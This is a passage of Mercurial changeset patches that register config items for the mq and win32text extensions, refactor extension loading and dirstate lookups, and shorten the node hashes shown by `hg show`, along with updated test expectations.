 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('mq', 'git',
+    default='auto',
+)
+
 # force load strip extension formerly included in mq and import some utility
 try:
     stripext = extensions.find('strip')
@@ -444,17 +451,14 @@
         self.activeguards = None
         self.guardsdirty = False
         # Handle mq.git as a bool with extended values
-        try:
-            gitmode = ui.configbool('mq', 'git', None)
-            if gitmode is None:
-                raise error.ConfigError
-            if gitmode:
-                self.gitmode = 'yes'
+        gitmode = ui.config('mq', 'git').lower()
+        boolmode = util.parsebool(gitmode)
+        if boolmode is not None:
+            if boolmode:
+                gitmode = 'yes'
             else:
-                self.gitmode = 'no'
-        except error.ConfigError:
-            # let's have check-config ignore the type mismatch
-            self.gitmode = ui.config(r'mq', 'git', 'auto').lower()
+                gitmode = 'no'
+        self.gitmode = gitmode
         # deprecated config: mq.plain
         self.plainmode = ui.configbool('mq', 'plain', False)
         self.checkapplied = True
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786995 -7200
#      Fri Jun 30 03:43:15 2017 +0200
# Node ID cac8c4e519513d7f674507f27cc5cfe7f118bfdd
# Parent  62490b84ebf8bb27da580f34ebf283288b566814
configitems: register the 'mq.keepchanges' config

diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -115,6 +115,9 @@
 configitem('mq', 'git',
     default='auto',
 )
+configitem('mq', 'keepchanges',
+    default=False,
+)
 
 # force load strip extension formerly included in mq and import some utility
 try:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786996 -7200
#      Fri Jun 30 03:43:16 2017 +0200
# Node ID 5c150b70d0049c8401816262d272c94ea039d2a7
# Parent  cac8c4e519513d7f674507f27cc5cfe7f118bfdd
configitems: register the 'mq.plain' config

diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -118,6 +118,9 @@
 configitem('mq', 'keepchanges',
     default=False,
 )
+configitem('mq', 'plain',
+    default=False,
+)
 
 # force load strip extension formerly included in mq and import some utility
 try:
@@ -463,7 +466,7 @@
                 gitmode = 'no'
         self.gitmode = gitmode
         # deprecated config: mq.plain
-        self.plainmode = ui.configbool('mq', 'plain', False)
+        self.plainmode = ui.configbool('mq', 'plain')
         self.checkapplied = True
 
     @util.propertycache
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786997 -7200
#      Fri Jun 30 03:43:17 2017 +0200
# Node ID b5bbfe176004c27e31d0f81677479879fde6a7e3
# Parent  5c150b70d0049c8401816262d272c94ea039d2a7
configitems: register the 'mq.secret' config

diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -121,6 +121,9 @@
 configitem('mq', 'plain',
     default=False,
 )
+configitem('mq', 'secret',
+    default=False,
+)
 
 # force load strip extension formerly included in mq and import some utility
 try:
@@ -419,7 +422,7 @@
     """
     repo = repo.unfiltered()
     if phase is None:
-        if repo.ui.configbool('mq', 'secret', False):
+        if repo.ui.configbool('mq', 'secret'):
             phase = phases.secret
     overrides = {('ui', 'allowemptycommit'): True}
     if phase is not None:
@@ -1059,7 +1062,7 @@
         repo._phasecache
         patches = self._revpatches(repo, sorted(revs))
         qfinished = self._cleanup(patches, len(patches))
-        if qfinished and repo.ui.configbool('mq', 'secret', False):
+        if qfinished and repo.ui.configbool('mq', 'secret'):
             # only use this logic when the secret option is added
             oldqbase = repo[qfinished[0]]
             tphase = repo.ui.config('phases', 'new-commit', phases.draft)
@@ -2164,7 +2167,7 @@
                     self.added.append(patchname)
                     imported.append(patchname)
                     patchname = None
-                    if rev and repo.ui.configbool('mq', 'secret', False):
+                    if rev and repo.ui.configbool('mq', 'secret'):
                         # if we added anything with --rev, move the secret root
                         phases.retractboundary(repo, tr, phases.secret, [n])
                     self.parseseries()
@@ -3423,7 +3426,7 @@
 def mqphasedefaults(repo, roots):
     """callback used to set mq changeset as secret when no phase data exists"""
     if repo.mq.applied:
-        if repo.ui.configbool('mq', 'secret', False):
+        if repo.ui.configbool('mq', 'secret'):
             mqphase = phases.secret
         else:
             mqphase = phases.draft
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787156 -7200
#      Fri Jun 30 03:45:56 2017 +0200
# Node ID f84358f759786a45a2ff99e1458f11a50a9b75af
# Parent  b5bbfe176004c27e31d0f81677479879fde6a7e3
configitems: register the 'win32text.warn' config

diff --git a/hgext/win32text.py b/hgext/win32text.py
--- a/hgext/win32text.py
+++ b/hgext/win32text.py
@@ -49,6 +49,7 @@
     short,
 )
 from mercurial import (
+    registrar,
     util,
 )
 
@@ -58,6 +59,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('win32text', 'warn',
+    default=True,
+)
+
 # regexp for single LF without CR preceding.
 re_single_lf = re.compile('(^|[^\r])\n', re.MULTILINE)
 
@@ -178,6 +186,6 @@
 
 def extsetup(ui):
     # deprecated config: win32text.warn
-    if ui.configbool('win32text', 'warn', True):
+    if ui.configbool('win32text', 'warn'):
         ui.warn(_("win32text is deprecated: "
                   "https://mercurial-scm.org/wiki/Win32TextExtension\n"))
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1504564319 -7200
#      Tue Sep 05 00:31:59 2017 +0200
# Node ID f7c9c5d8c7f4db7b844d440d7d6b8f04f22cdcdc
# Parent  f84358f759786a45a2ff99e1458f11a50a9b75af
extensions: factor extra data loading out

Some of the extra data need to be registered earlier than they currently are
(eg: config items). We first factor out the logic to registered them in a small
function before reusing it in the next changeset.

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -288,7 +288,9 @@
         ('templatefunc', templater, 'loadfunction'),
         ('templatekeyword', templatekw, 'loadkeyword'),
     ]
+    _loadextra(ui, newindex, extraloaders)
 
+def _loadextra(ui, newindex, extraloaders):
     for name in _order[newindex:]:
         module = _extensions[name]
         if not module:
diff --git a/tests/test-devel-warnings.t b/tests/test-devel-warnings.t
--- a/tests/test-devel-warnings.t
+++ b/tests/test-devel-warnings.t
@@ -242,8 +242,8 @@
   > EOF
 
   $ hg --config "extensions.buggyconfig=${TESTTMP}/buggyconfig.py" buggyconfig
-  devel-warn: extension 'buggyconfig' overwrite config item 'ui.interactive' at: */mercurial/extensions.py:* (loadall) (glob)
-  devel-warn: extension 'buggyconfig' overwrite config item 'ui.quiet' at: */mercurial/extensions.py:* (loadall) (glob)
+  devel-warn: extension 'buggyconfig' overwrite config item 'ui.interactive' at: */mercurial/extensions.py:* (_loadextra) (glob)
+  devel-warn: extension 'buggyconfig' overwrite config item 'ui.quiet' at: */mercurial/extensions.py:* (_loadextra) (glob)
   devel-warn: specifying a default value for a registered config item: 'ui.quiet' 'False' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
   devel-warn: specifying a default value for a registered config item: 'ui.interactive' 'None' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
   devel-warn: specifying a default value for a registered config item: 'test.some' 'foo' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1504564453 -7200
#      Tue Sep 05 00:34:13 2017 +0200
# Node ID 4c5730c2152313af92c0d8c9c1d764bfab433fb2
# Parent  f7c9c5d8c7f4db7b844d440d7d6b8f04f22cdcdc
extensions: register config item early

Config items are likely to be used in during extensions setup. So we much
register them before that.

For example this apply to the 'win32text.warn' options.

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -232,6 +232,18 @@
             if isinstance(inst, error.Hint) and inst.hint:
                 ui.warn(_("*** (%s)\n") % inst.hint)
             ui.traceback()
+    # list of (objname, loadermod, loadername) tuple:
+    # - objname is the name of an object in extension module,
+    #   from which extra information is loaded
+    # - loadermod is the module where loader is placed
+    # - loadername is the name of the function,
+    #   which takes (ui, extensionname, extraobj) arguments
+    #
+    # This one is for the list of item that must be run before running any setup
+    earlyextraloaders = [
+        ('configtable', configitems, 'loadconfigtable'),
+    ]
+    _loadextra(ui, newindex, earlyextraloaders)
 
     broken = set()
     for name in _order[newindex:]:
@@ -280,7 +292,6 @@
     extraloaders = [
         ('cmdtable', commands, 'loadcmdtable'),
         ('colortable', color, 'loadcolortable'),
-        ('configtable', configitems, 'loadconfigtable'),
         ('filesetpredicate', fileset, 'loadpredicate'),
         ('internalmerge', filemerge, 'loadinternalmerge'),
         ('revsetpredicate', revset, 'loadpredicate'),
# HG changeset patch
# User Michael Bolin <mbolin@fb.com>
# Date 1505407282 25200
#      Thu Sep 14 09:41:22 2017 -0700
# Node ID 1246acdad653401776e4f577c361992f5d8db1c0
# Parent  4c5730c2152313af92c0d8c9c1d764bfab433fb2
dirstate: perform transactions with _map using single call, where possible

This is in the same style as https://phab.mercurial-scm.org/D493.

In general, this replaces patterns such as:

```
f in self._map:
    entry = self._map[f]
```

with:

```
entry = self._map.get(f):
if entry is not None:
    # use entry
```

Test Plan:
`make tests`

Differential Revision: https://phab.mercurial-scm.org/D663

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -550,7 +550,8 @@
             for d in util.finddirs(f):
                 if d in self._dirs:
                     break
-                if d in self._map and self[d] != 'r':
+                entry = self._map.get(d)
+                if entry is not None and entry[0] != 'r':
                     raise error.Abort(
                         _('file %r in dirstate clashes with %r') % (d, f))
         if oldstate in "?r" and "_dirs" in self.__dict__:
@@ -580,22 +581,23 @@
 
     def normallookup(self, f):
         '''Mark a file normal, but possibly dirty.'''
-        if self._pl[1] != nullid and f in self._map:
+        if self._pl[1] != nullid:
             # if there is a merge going on and the file was either
             # in state 'm' (-1) or coming from other parent (-2) before
             # being removed, restore that state.
-            entry = self._map[f]
-            if entry[0] == 'r' and entry[2] in (-1, -2):
-                source = self._copymap.get(f)
-                if entry[2] == -1:
-                    self.merge(f)
-                elif entry[2] == -2:
-                    self.otherparent(f)
-                if source:
-                    self.copy(source, f)
-                return
-            if entry[0] == 'm' or entry[0] == 'n' and entry[2] == -2:
-                return
+            entry = self._map.get(f)
+            if entry is not None:
+                if entry[0] == 'r' and entry[2] in (-1, -2):
+                    source = self._copymap.get(f)
+                    if entry[2] == -1:
+                        self.merge(f)
+                    elif entry[2] == -2:
+                        self.otherparent(f)
+                    if source:
+                        self.copy(source, f)
+                    return
+                if entry[0] == 'm' or entry[0] == 'n' and entry[2] == -2:
+                    return
         self._addpath(f, 'n', 0, -1, -1)
         self._copymap.pop(f, None)
         if f in self._nonnormalset:
@@ -624,14 +626,15 @@
         self._dirty = True
         self._droppath(f)
         size = 0
-        if self._pl[1] != nullid and f in self._map:
-            # backup the previous state
-            entry = self._map[f]
-            if entry[0] == 'm': # merge
-                size = -1
-            elif entry[0] == 'n' and entry[2] == -2: # other parent
-                size = -2
-                self._otherparentset.add(f)
+        if self._pl[1] != nullid:
+            entry = self._map.get(f)
+            if entry is not None:
+                # backup the previous state
+                if entry[0] == 'm': # merge
+                    size = -1
+                elif entry[0] == 'n' and entry[2] == -2: # other parent
+                    size = -2
+                    self._otherparentset.add(f)
         self._map[f] = dirstatetuple('r', 0, size, 0)
         self._nonnormalset.add(f)
         if size == 0:
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1501820007 25200
#      Thu Aug 03 21:13:27 2017 -0700
# Node ID e9898ad311157617396ea387f1e73c80eff4961b
# Parent  1246acdad653401776e4f577c361992f5d8db1c0
cmdutil: allow extra properties to be added to each context

The changeset displayer allows setting extra keywords to be available
to the templating layer. This patch adds an argument to displaygraph()
to pass a dict of extra properties to be available to every changeset.

Differential Revision: https://phab.mercurial-scm.org/D555

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2617,7 +2617,8 @@
     return formatnode
 
 def displaygraph(ui, repo, dag, displayer, edgefn, getrenamed=None,
-                 filematcher=None):
+                 filematcher=None, props=None):
+    props = props or {}
     formatnode = _graphnodeformatter(ui, displayer)
     state = graphmod.asciistate()
     styles = state['styles']
@@ -2658,7 +2659,7 @@
         firstedge = next(edges)
         width = firstedge[2]
         displayer.show(ctx, copies=copies, matchfn=revmatchfn,
-                       _graphwidth=width)
+                       _graphwidth=width, **props)
         lines = displayer.hunk.pop(rev).split('\n')
         if not lines[-1]:
             del lines[-1]
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1501822294 25200
#      Thu Aug 03 21:51:34 2017 -0700
# Node ID 4441c1113eb28f40b7e1342204995652d56ceb60
# Parent  e9898ad311157617396ea387f1e73c80eff4961b
show: pass the minimum length for nodes as a template keyword

This will allow us to make the displayed length configurable
and/or dynamic.

Differential Revision: https://phab.mercurial-scm.org/D556

diff --git a/hgext/show.py b/hgext/show.py
--- a/hgext/show.py
+++ b/hgext/show.py
@@ -171,7 +171,8 @@
         fm.write('bookmark', '%s', bm)
         fm.write('node', fm.hexfunc(node), fm.hexfunc(node))
         fm.data(active=bm == active,
-                longestbookmarklen=longestname)
+                longestbookmarklen=longestname,
+                nodelen=5)
 
 @showview('stack', csettopic='stack')
 def showstack(ui, repo, displayer):
@@ -277,7 +278,7 @@
                 ui.write('  ')
 
             ui.write(('o  '))
-            displayer.show(ctx)
+            displayer.show(ctx, nodelen=5)
             displayer.flush(ctx)
             ui.write('\n')
 
@@ -317,7 +318,7 @@
             ui.write('  ')
 
         ui.write(symbol, '  ')
-        displayer.show(ctx)
+        displayer.show(ctx, nodelen=5)
         displayer.flush(ctx)
         ui.write('\n')
 
@@ -334,7 +335,7 @@
         ui.write(_('(stack base)'), '\n', label='stack.label')
         ui.write(('o  '))
 
-        displayer.show(basectx)
+        displayer.show(basectx, nodelen=5)
         displayer.flush(basectx)
         ui.write('\n')
 
@@ -397,7 +398,8 @@
     revdag = graphmod.dagwalker(repo, revs)
 
     ui.setconfig('experimental', 'graphshorten', True)
-    cmdutil.displaygraph(ui, repo, revdag, displayer, graphmod.asciiedges)
+    cmdutil.displaygraph(ui, repo, revdag, displayer, graphmod.asciiedges,
+                         props={'nodelen': 5})
 
 def extsetup(ui):
     # Alias `hg <prefix><view>` to `hg show <view>`.
diff --git a/mercurial/templates/map-cmdline.show b/mercurial/templates/map-cmdline.show
--- a/mercurial/templates/map-cmdline.show
+++ b/mercurial/templates/map-cmdline.show
@@ -3,12 +3,12 @@
 #   piggyback on existing values so color works.
 # * Obsolescence isn't considered for node labels. See _cset_labels in
 #   map-cmdline.default.
-showbookmarks = '{if(active, "*", " ")} {pad(bookmark, longestbookmarklen + 4)}{shortest(node, 5)}\n'
+showbookmarks = '{if(active, "*", " ")} {pad(bookmark, longestbookmarklen + 4)}{shortest(node, nodelen)}\n'
 
 showwork = '{cset_shortnode}{namespaces % cset_namespace} {cset_shortdesc}'
 showstack = '{showwork}'
 
-cset_shortnode = '{label("log.changeset changeset.{phase}", shortest(node, 5))}'
+cset_shortnode = '{label("log.changeset changeset.{phase}", shortest(node, nodelen))}'
 
 # Treat branch and tags specially so we don't display "default" or "tip"
 cset_namespace = '{ifeq(namespace, "branches", names_branches, ifeq(namespace, "tags", names_tags, names_others))}'
diff --git a/tests/test-show.t b/tests/test-show.t
--- a/tests/test-show.t
+++ b/tests/test-show.t
@@ -112,13 +112,15 @@
     "active": true,
     "bookmark": "a-longer-bookmark",
     "longestbookmarklen": 17,
-    "node": "7b5709ab64cbc34da9b4367b64afff47f2c4ee83"
+    "node": "7b5709ab64cbc34da9b4367b64afff47f2c4ee83",
+    "nodelen": 5
    },
    {
     "active": false,
     "bookmark": "book1",
     "longestbookmarklen": 17,
-    "node": "b757f780b8ffd71267c6ccb32e0882d9d32a8cc0"
+    "node": "b757f780b8ffd71267c6ccb32e0882d9d32a8cc0",
+    "nodelen": 5
    }
   ]
 
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1505362546 25200
#      Wed Sep 13 21:15:46 2017 -0700
# Node ID e6b5e7329ff2426920302df1f9b4bdcf1761f74c
# Parent  4441c1113eb28f40b7e1342204995652d56ceb60
show: use consistent (and possibly shorter) node lengths

`hg show` makes heavy use of shortest() to limit the length of the node
hash.

For the "stack" and "work" views, you are often looking at multiple
lines of similar output for "lines" of work. It is visually appeasing
for things to vertically align. A naive use of {shortest(node, N)}
could result in variable length nodes and for the first character of
the description to vary by a column or two.

We implement a function to determine the longest shortest prefix for
a set of revisions. The new function is used to determine the printed
node length for all `hg show` views.

.. feature::

   show: use consistent node length in views

Our previous shortest node length of 5 was arbitrarily chosen.

shortest() already does the work of ensuring that a partial node
isn't ambiguous with an integer revision, which is our primary risk
of a collision for very short nodes. It should be safe to go with the
shortest node possible.

Existing code is also optimized to handle nodes as short as 4.

So, we decrease the minimum hash length from 5 to 4.

We also add a test demonstrating that prefix collisions increase the
node length.

.. feature::

   show: decrease minimum displayed hash length from 5 to 4

Differential Revision: https://phab.mercurial-scm.org/D558

diff --git a/hgext/show.py b/hgext/show.py
--- a/hgext/show.py
+++ b/hgext/show.py
@@ -161,9 +161,10 @@
             ui.write(_('(no bookmarks set)\n'))
         return
 
+    revs = [repo[node].rev() for node in marks.values()]
     active = repo._activebookmark
     longestname = max(len(b) for b in marks)
-    # TODO consider exposing longest shortest(node).
+    nodelen = longestshortest(repo, revs)
 
     for bm, node in sorted(marks.items()):
         fm.startitem()
@@ -172,7 +173,7 @@
         fm.write('node', fm.hexfunc(node), fm.hexfunc(node))
         fm.data(active=bm == active,
                 longestbookmarklen=longestname,
-                nodelen=5)
+                nodelen=nodelen)
 
 @showview('stack', csettopic='stack')
 def showstack(ui, repo, displayer):
@@ -236,6 +237,9 @@
     else:
         newheads = set()
 
+    allrevs = set(stackrevs) | newheads | set([baserev])
+    nodelen = longestshortest(repo, allrevs)
+
     try:
         cmdutil.findcmd('rebase', commands.table)
         haverebase = True
@@ -247,7 +251,7 @@
     # our simplicity and the customizations required.
     # TODO use proper graph symbols from graphmod
 
-    shortesttmpl = formatter.maketemplater(ui, '{shortest(node, 5)}')
+    shortesttmpl = formatter.maketemplater(ui, '{shortest(node, %d)}' % nodelen)
     def shortest(ctx):
         return shortesttmpl.render({'ctx': ctx, 'node': ctx.hex()})
 
@@ -278,7 +282,7 @@
                 ui.write('  ')
 
             ui.write(('o  '))
-            displayer.show(ctx, nodelen=5)
+            displayer.show(ctx, nodelen=nodelen)
             displayer.flush(ctx)
             ui.write('\n')
 
@@ -318,7 +322,7 @@
             ui.write('  ')
 
         ui.write(symbol, '  ')
-        displayer.show(ctx, nodelen=5)
+        displayer.show(ctx, nodelen=nodelen)
         displayer.flush(ctx)
         ui.write('\n')
 
@@ -335,7 +339,7 @@
         ui.write(_('(stack base)'), '\n', label='stack.label')
         ui.write(('o  '))
 
-        displayer.show(basectx, nodelen=5)
+        displayer.show(basectx, nodelen=nodelen)
         displayer.flush(basectx)
         ui.write('\n')
 
@@ -394,12 +398,13 @@
     """changesets that aren't finished"""
     # TODO support date-based limiting when calling revset.
     revs = repo.revs('sort(_underway(), topo)')
+    nodelen = longestshortest(repo, revs)
 
     revdag = graphmod.dagwalker(repo, revs)
 
     ui.setconfig('experimental', 'graphshorten', True)
     cmdutil.displaygraph(ui, repo, revdag, displayer, graphmod.asciiedges,
-                         props={'nodelen': 5})
+                         props={'nodelen': nodelen})
 
 def extsetup(ui):
     # Alias `hg <prefix><view>` to `hg show <view>`.
@@ -420,6 +425,27 @@
 
             ui.setconfig('alias', name, 'show %s' % view, source='show')
 
+def longestshortest(repo, revs, minlen=4):
+    """Return the length of the longest shortest node to identify revisions.
+
+    The result of this function can be used with the ``shortest()`` template
+    function to ensure that a value is unique and unambiguous for a given
+    set of nodes.
+
+    The number of revisions in the repo is taken into account to prevent
+    a numeric node prefix from conflicting with an integer revision number.
+    If we fail to do this, a value of e.g. ``10023`` could mean either
+    revision 10023 or node ``10023abc...``.
+    """
+    tmpl = formatter.maketemplater(repo.ui, '{shortest(node, %d)}' % minlen)
+    lens = [minlen]
+    for rev in revs:
+        ctx = repo[rev]
+        shortest = tmpl.render({'ctx': ctx, 'node': ctx.hex()})
+        lens.append(len(shortest))
+
+    return max(lens)
+
 # Adjust the docstring of the show command so it shows all registered views.
 # This is a bit hacky because it runs at the end of module load. When moved
 # into core or when another extension wants to provide a view, we'll need
diff --git a/tests/test-show-stack.t b/tests/test-show-stack.t
--- a/tests/test-show-stack.t
+++ b/tests/test-show-stack.t
@@ -17,7 +17,7 @@
   $ echo 0 > foo
   $ hg -q commit -A -m 'commit 0'
   $ hg show stack
-    @  9f171 commit 0
+    @  9f17 commit 0
 
 Stack displays multiple draft changesets
 
@@ -30,48 +30,48 @@
   $ echo 4 > foo
   $ hg commit -m 'commit 4'
   $ hg show stack
-    @  2737b commit 4
-    o  d1a69 commit 3
-    o  128c8 commit 2
-    o  181cc commit 1
-    o  9f171 commit 0
+    @  2737 commit 4
+    o  d1a6 commit 3
+    o  128c commit 2
+    o  181c commit 1
+    o  9f17 commit 0
 
 Public parent of draft base is displayed, separated from stack
 
   $ hg phase --public -r 0
   $ hg show stack
-    @  2737b commit 4
-    o  d1a69 commit 3
-    o  128c8 commit 2
-    o  181cc commit 1
+    @  2737 commit 4
+    o  d1a6 commit 3
+    o  128c commit 2
+    o  181c commit 1
    /   (stack base)
-  o  9f171 commit 0
+  o  9f17 commit 0
 
   $ hg phase --public -r 1
   $ hg show stack
-    @  2737b commit 4
-    o  d1a69 commit 3
-    o  128c8 commit 2
+    @  2737 commit 4
+    o  d1a6 commit 3
+    o  128c commit 2
    /   (stack base)
-  o  181cc commit 1
+  o  181c commit 1
 
 Draft descendants are shown
 
   $ hg -q up 2
   $ hg show stack
-    o  2737b commit 4
-    o  d1a69 commit 3
-    @  128c8 commit 2
+    o  2737 commit 4
+    o  d1a6 commit 3
+    @  128c commit 2
    /   (stack base)
-  o  181cc commit 1
+  o  181c commit 1
 
   $ hg -q up 3
   $ hg show stack
-    o  2737b commit 4
-    @  d1a69 commit 3
-    o  128c8 commit 2
+    o  2737 commit 4
+    @  d1a6 commit 3
+    o  128c commit 2
    /   (stack base)
-  o  181cc commit 1
+  o  181c commit 1
 
 working dir on public changeset should display special message
 
@@ -89,10 +89,10 @@
   $ hg show stack
    \ /  (multiple children)
     |
-    o  d1a69 commit 3
-    @  128c8 commit 2
+    o  d1a6 commit 3
+    @  128c commit 2
    /   (stack base)
-  o  181cc commit 1
+  o  181c commit 1
 
   $ cd ..
 
@@ -117,9 +117,9 @@
 TODO doesn't yet handle case where wdir is a draft merge
 
   $ hg show stack
-    @  8ee90 merge heads
+    @  8ee9 merge heads
    /   (stack base)
-  o  59478 head 1
+  o  5947 head 1
 
   $ echo d1 > foo
   $ hg commit -m 'draft 1'
@@ -127,10 +127,10 @@
   $ hg commit -m 'draft 2'
 
   $ hg show stack
-    @  430d5 draft 2
-    o  787b1 draft 1
+    @  430d draft 2
+    o  787b draft 1
    /   (stack base)
-  o  8ee90 merge heads
+  o  8ee9 merge heads
 
   $ cd ..
 
@@ -156,36 +156,36 @@
 Newer draft heads don't impact output
 
   $ hg show stack
-    @  eaffc draft 2
-    o  2b218 draft 1
+    @  eaff draft 2
+    o  2b21 draft 1
    /   (stack base)
-  o  b66bb base
+  o  b66b base
 
 Newer public heads are rendered
 
   $ hg phase --public -r '::tip'
 
   $ hg show stack
-    o  baa4b new 2
+    o  baa4 new 2
    /    (2 commits ahead)
   :
   :    (stack head)
-  : @  eaffc draft 2
-  : o  2b218 draft 1
+  : @  eaff draft 2
+  : o  2b21 draft 1
   :/   (stack base)
-  o  b66bb base
+  o  b66b base
 
 If rebase is available, we show a hint how to rebase to that head
 
   $ hg --config extensions.rebase= show stack
-    o  baa4b new 2
-   /    (2 commits ahead; hg rebase --source 2b218 --dest baa4b)
+    o  baa4 new 2
+   /    (2 commits ahead; hg rebase --source 2b21 --dest baa4)
   :
   :    (stack head)
-  : @  eaffc draft 2
-  : o  2b218 draft 1
+  : @  eaff draft 2
+  : o  2b21 draft 1
   :/   (stack base)
-  o  b66bb base
+  o  b66b base
 
 Similar tests but for multiple heads
 
@@ -196,25 +196,25 @@
   $ hg -q up 2
 
   $ hg show stack
-    o  baa4b new 2
+    o  baa4 new 2
    /    (2 commits ahead)
-  : o  9a848 new head 2
+  : o  9a84 new head 2
   :/    (1 commits ahead)
   :
   :    (stack head)
-  : @  eaffc draft 2
-  : o  2b218 draft 1
+  : @  eaff draft 2
+  : o  2b21 draft 1
   :/   (stack base)
-  o  b66bb base
+  o  b66b base
 
   $ hg --config extensions.rebase= show stack
-    o  baa4b new 2
-   /    (2 commits ahead; hg rebase --source 2b218 --dest baa4b)
-  : o  9a848 new head 2
-  :/    (1 commits ahead; hg rebase --source 2b218 --dest 9a848)
+    o  baa4 new 2
+   /    (2 commits ahead; hg rebase --source 2b21 --dest baa4)
+  : o  9a84 new head 2
+  :/    (1 commits ahead; hg rebase --source 2b21 --dest 9a84)
   :
   :    (stack head)
-  : @  eaffc draft 2
-  : o  2b218 draft 1
+  : @  eaff draft 2
+  : o  2b21 draft 1
   :/   (stack base)
-  o  b66bb base
+  o  b66b base
diff --git a/tests/test-show-work.t b/tests/test-show-work.t
--- a/tests/test-show-work.t
+++ b/tests/test-show-work.t
@@ -16,20 +16,20 @@
   $ hg -q commit -A -m 'commit 0'
 
   $ hg show work
-  @  9f171 commit 0
+  @  9f17 commit 0
 
 Even when it isn't the wdir
 
   $ hg -q up null
 
   $ hg show work
-  o  9f171 commit 0
+  o  9f17 commit 0
 
 Single changeset is still there when public because it is a head
 
   $ hg phase --public -r 0
   $ hg show work
-  o  9f171 commit 0
+  o  9f17 commit 0
 
 A draft child will show both it and public parent
 
@@ -38,8 +38,8 @@
   $ hg commit -m 'commit 1'
 
   $ hg show work
-  @  181cc commit 1
-  o  9f171 commit 0
+  @  181c commit 1
+  o  9f17 commit 0
 
 Multiple draft children will be shown
 
@@ -47,16 +47,16 @@
   $ hg commit -m 'commit 2'
 
   $ hg show work
-  @  128c8 commit 2
-  o  181cc commit 1
-  o  9f171 commit 0
+  @  128c commit 2
+  o  181c commit 1
+  o  9f17 commit 0
 
 Bumping first draft changeset to public will hide its parent
 
   $ hg phase --public -r 1
   $ hg show work
-  @  128c8 commit 2
-  o  181cc commit 1
+  @  128c commit 2
+  o  181c commit 1
   |
   ~
 
@@ -68,10 +68,10 @@
   created new head
 
   $ hg show work
-  @  f0abc commit 3
-  | o  128c8 commit 2
+  @  f0ab commit 3
+  | o  128c commit 2
   |/
-  o  181cc commit 1
+  o  181c commit 1
   |
   ~
 
@@ -80,10 +80,10 @@
   $ hg -q up null
 
   $ hg show work
-  o  f0abc commit 3
-  | o  128c8 commit 2
+  o  f0ab commit 3
+  | o  128c commit 2
   |/
-  o  181cc commit 1
+  o  181c commit 1
   |
   ~
 
@@ -95,13 +95,13 @@
   created new head
 
   $ hg show work
-  @  668ca commit 4
-  | o  f0abc commit 3
-  | | o  128c8 commit 2
+  @  668c commit 4
+  | o  f0ab commit 3
+  | | o  128c commit 2
   | |/
-  | o  181cc commit 1
+  | o  181c commit 1
   |/
-  o  9f171 commit 0
+  o  9f17 commit 0
 
   $ cd ..
 
@@ -126,11 +126,11 @@
   $ hg commit -m 'commit 4'
 
   $ hg show work
-  @  f8dd3 (mybranch) commit 4
-  o  90cfc (mybranch) commit 3
-  | o  128c8 commit 2
+  @  f8dd (mybranch) commit 4
+  o  90cf (mybranch) commit 3
+  | o  128c commit 2
   |/
-  o  181cc commit 1
+  o  181c commit 1
   |
   ~
 
@@ -157,11 +157,11 @@
   $ hg bookmark mybook
 
   $ hg show work
-  @  cac82 (mybook) commit 4
-  o  f0abc commit 3
-  | o  128c8 (@) commit 2
+  @  cac8 (mybook) commit 4
+  o  f0ab commit 3
+  | o  128c (@) commit 2
   |/
-  o  181cc commit 1
+  o  181c commit 1
   |
   ~
 
@@ -182,9 +182,9 @@
   $ hg tag 0.2
 
   $ hg show work
-  @  37582 Added tag 0.2 for changeset 6379c25b76f1
-  o  6379c (0.2) commit 3
-  o  a2ad9 Added tag 0.1 for changeset 6a75536ea0b1
+  @  3758 Added tag 0.2 for changeset 6379c25b76f1
+  o  6379 (0.2) commit 3
+  o  a2ad Added tag 0.1 for changeset 6a75536ea0b1
   |
   ~
 
@@ -205,15 +205,15 @@
   $ hg commit -m 'commit 2'
 
   $ hg show work
-  @  34834 (mybook) (mybranch) commit 2
-  o  97fcc commit 1
+  @  3483 (mybook) (mybranch) commit 2
+  o  97fc commit 1
 
 Multiple bookmarks on same changeset render properly
 
   $ hg book mybook2
   $ hg show work
-  @  34834 (mybook mybook2) (mybranch) commit 2
-  o  97fcc commit 1
+  @  3483 (mybook mybook2) (mybranch) commit 2
+  o  97fc commit 1
 
   $ cd ..
 
@@ -230,8 +230,38 @@
   $ hg commit -m 'commit 3'
 
   $ hg --config extensions.revnames=$TESTDIR/revnamesext.py show work
-  @  32f3e (r2) commit 3
-  o  6a755 (r1) commit 2
-  o  97fcc (r0) commit 1
+  @  32f3 (r2) commit 3
+  o  6a75 (r1) commit 2
+  o  97fc (r0) commit 1
 
   $ cd ..
+
+Prefix collision on hashes increases shortest node length
+
+  $ hg init hashcollision
+  $ cd hashcollision
+  $ echo 0 > a
+  $ hg -q commit -Am 0
+  $ for i in 17 1057 2857 4025; do
+  >   hg -q up 0
+  >   echo $i > a
